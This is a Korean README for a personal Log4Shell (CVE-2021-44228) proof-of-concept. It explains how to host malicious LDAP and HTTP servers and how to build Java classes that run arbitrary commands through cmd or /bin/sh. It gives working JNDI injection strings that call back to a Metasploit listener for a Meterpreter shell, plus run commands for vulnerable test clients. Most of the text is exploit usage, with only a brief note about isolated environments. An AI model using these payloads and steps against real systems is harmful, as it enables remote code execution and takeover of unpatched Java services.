
Log4Shell (Cve-2021-44228) 개념 증명
Log4Shell (Cve-2021-44228) 개념 증명
이것은 Log4Shell 익스플로잇을 위한 LDAP 서버와 HTTP 서버를 호스팅하는 간단한 POC를 실행하는 개인 프로젝트입니다.
run_servers.py는 LDAP 요청에 전달된 Metasploit 인스턴스로 콜백하는 경량화된 meterpreter 클라이언트를 설정합니다. 이것은 Log4Shell 익스플로잇의 영향을 받은 원래 프로세스의 스레드에서 meterpreter 인스턴스를 실행합니다.
LDAP 서버는 Java로 작성되었고 HTTP 서버는 Python으로 호스팅되며 새로 생성된 wwwroot 디렉토리에서 서비스합니다. 익스플로잇을 빌드하고 LDAP 서버를 호스팅하려면 java, javac 및 mvn이 필요합니다. 저는 Java 8을 사용했습니다.
Python3도 필요합니다.
실행: python3 run_servers.py <your_ip_address> <the_http_port> [ldap_port]
그런 다음 취약한 클라이언트에 jndi 문자열을 전달하여 로그에 기록합니다. 예: 호스트가 10.20.30.40이고 Metasploit 인스턴스가 20.30.40.50이며 4444 포트에서 수신 중인 경우 다음과 같습니다: '${jndi:ldap://10.20.30.40:1389/#MM:20.30.40.50:4444}'
소스 시스템에서 실행 파일을 실행할 클래스를 빌드할 수 있습니다. Windows 또는 Linux 기반 시스템에 대해 다른 명령어를 가질 수 있습니다. 예를 들어 Windows 시스템에서 계산기를 실행하고 Linux 시스템에서 Firefox를 실행하는 TestCmd라는 클래스를 만들려면 다음을 실행하세요: python3 build_cmd.py TestCmd -w "Calc.exe" -l "firefox"
여러 개의 미리 빌드된 클래스를 가질 수 있습니다. 대상 OS에 대한 명령어를 지정하지 않으면 아무것도 실행되지 않습니다. 참고: 이러한 명령어는 Windows에서는 CMD \c "your command"로, Linux에서는 /bin/sh -c "your command"로 실행됩니다.
위 명령어를 트리거하려면 생성한 클래스의 이름을 사용하세요. 예: '${jndi:ldap://10.20.30.40:1389/#TestCmd'
Paylow.java 파일은 log4shell 문제가 있는 호출 프로세스에서 스레드로 실행되도록 설정된 전체 Meterpreter 파일입니다. 이것은 수동으로 컴파일되어 wwwroot 디렉토리로 이동되어야 합니다. 또한 필요한 속성으로 설정된 metasploit.dat 파일이 필요합니다.
clients 디렉토리에는 실행할 수 있는 2개의 클라이언트가 있습니다. 하나는 전달된 첫 번째 매개변수에 대한 오류 로그를 기록하는 간단한 명령줄 프로그램입니다.
다른 하나는 log_me 헤더 정보를 사용하여 오류 로그를 기록하는 기본 웹 서버입니다. 이것은 격리된 제어된 환경에서 실행되어야 합니다.
clients 디렉토리로 이동하여 ./build_clients.sh를 실행하세요.
clients 디렉토리에서 다음을 실행하세요: java -cp target/l4sclients-1.0-SNAPSHOT-all.jar Log4jWebServer [Port_number]
clients 디렉토리에서 다음을 실행하세요: java -cp target/l4sclients-1.0-SNAPSHOT-all.jar Log4jCmdLine '${jndi:ldap://127.0.0.1:1389/#MM:127.0.0.1:4444}'